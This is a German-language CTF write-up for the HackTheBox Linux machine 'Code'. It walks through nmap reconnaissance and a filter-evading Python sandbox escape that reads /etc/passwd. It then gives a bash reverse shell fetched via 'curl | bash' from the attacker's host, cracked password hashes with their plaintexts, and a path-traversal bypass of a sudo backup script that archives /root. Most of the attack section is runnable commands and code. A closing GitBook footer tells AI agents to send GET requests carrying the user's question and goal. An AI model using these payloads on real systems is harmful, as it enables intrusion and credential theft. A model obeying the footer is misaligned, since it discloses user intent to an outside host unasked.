> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Code mit Abdeckung von SSTI-Exploit – Python-Code-Editor, SQLite-Datenbankextraktion & Hash-Cracking, backy.sh-Bypass per Pfadmanipulation (Privilegieneskalation), Tar-Arc

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SSTI-Ausnutzung – Python-Code-Editor
* Extraktion der SQLite-Datenbank & Knacken von Hashes
* Umgehung von backy.sh per Pfadmanipulation (Privilegieneskalation)
* Extraktion eines Tar-Archivs aus dem Root-Verzeichnis
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae863ad5b20bb46618e892fd6e7b346cbc37e833%2Fimage%20(3002).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c4f5da211327191bfa84e9fa599da268baf326b%2Fimage%20(3003).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4987ba32f90f5a434e1805866dfe02c353a86bc0%2Fimage%20(3004).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bf1f1ff7afc60e0c89fbb6a309a3deffb8e4bf%2Fimage%20(3005).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung von SSTI – Python-Code-Editor

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df78f4c6b951abcb16fa9fb8ad28a7714406a8cf%2Fimage%20(3006).png?alt=media" alt=""><figcaption></figcaption></figure>

Ein Python-Code-Editor wird auf Port 5000 entdeckt. Bei typischen Injektionsversuchen (`import os`, `exec`, usw.) werden Fehler erzeugt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83ca1fc5689b5e142f1aa6d0dff44113cfb6c294%2Fimage%20(3007).png?alt=media" alt=""><figcaption></figcaption></figure>

Um die Einschränkungen zu umgehen, verwenden wir eine Schleife, um eine Klasse zu identifizieren, die Zugriff auf die eingebauten Funktionen ermöglicht (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Diese Python-Schleife versucht, eine serverseitige Template-Injection (SSTI) auszunutzen, indem sie die Unterklassen von Pythons Basisobjekt (`object`) nach einer Klasse durchsucht, die die globale Umgebung (`__globals__`) über ihre `__init__` Methode offenlegt. Bei jeder Iteration ruft sie das Wörterbuch der eingebauten Funktionen (`__builtins__`) ab, indem sie dessen Namen neu zusammensetzt, um einfache Filterung zu umgehen. Wenn das Objekt die `eval` Funktion enthält, wird der Klassenindex ausgegeben. Diese Technik wird häufig verwendet, um gefährliche Funktionen zu erreichen, wie etwa `eval`, `exec`, und `öffnen`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e038e0c2cf06adbf3c8b9b305045914a1109ea5%2Fimage%20(3008).png?alt=media" alt=""><figcaption></figcaption></figure>

### Lesen `/etc/passwd`

Sobald das Objekt, das `eval` enthält, identifiziert ist, führen wir Folgendes aus:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Dies zeigt zwei Benutzer: `martin` und `production`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f06d01ed2adaf3a6a2918d24dceffff4ccf7e77%2Fimage%20(3009).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Umkehr-Shell**

#### Lauschend auf Port 443:

```bash
nc -nvlp 443
```

#### Reverse-Shell-Skript :

Erstelle einen `index.html` Datei mit folgendem Inhalt:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Starten eines Webservers:

```bash
python3 -m http.server 80
```

Payload-Injektion:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7bbf3dd49679f36c2039a5cd4f1eea73c5784a%2Fimage%20(3010).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Handhabung:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec94c14738aea3b203f3d850e9903ce26766f09f%2Fimage%20(3012).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### SSH-Zugriff mit Benutzer `martin`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67f2bc8c767eb0c9ceaef2c77b75bf37e64849ca%2Fimage%20(535).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken eine `database.db` Datei. Die Untersuchung via SQLite zeigt zwei Benutzer (`development`, `martin`) mit Passwort-Hashes.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>Hashes</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346e8735481d0f504dce0bea3a588e002de37f19%2Fimage%20(534).png?alt=media" alt=""><figcaption></figcaption></figure>

Knacke die Passwörter mit [CrackStation](https://crackstation.net/), dann verbinde dich:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>Hashes</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62955578b643640d117b7ac1ccaebdccd70bd40%2Fimage%20(536).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2fb8338674377ef840abebec9becb8183a39d14c%2Fimage%20(537).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh (Skript)

Wir erfahren, dass `martin` ausführen kann `/usr/bin/backy.sh` als root.

```bash
sudo -l
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d4f742e010564a96b7bc2d8be2cf72c8e36a0d1%2Fimage%20(538).png?alt=media" alt=""><figcaption></figcaption></figure>

**Das Skript prüft:**

* Ob die angegebene JSON-Datei existiert,
* Dass jeder Pfad in `directories_to_archive` unter `/var/` oder `/home/`,
* Entfernt `../` Sequenzen über `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Verwendung: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Fehler: Datei '$json_file' nicht gefunden."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Fehler: $dir ist nicht erlaubt. Nur Verzeichnisse unter /var/ und /home/ sind erlaubt."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Umgehung:**

Wir konfigurieren ein `pwned.json` Datei ein:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Ausführung:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1c641e0043e7e09db635533823996b0a5255b10%2Fimage%20(541).png?alt=media" alt=""><figcaption></figcaption></figure>

Entpacken:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6fbdcc09b630d5440e2988c30fff89dc6c9f36a%2Fimage%20(542).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-45822d4c65ca9fd910c2462539fc47bafc577c32%2Fimage%20(543).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
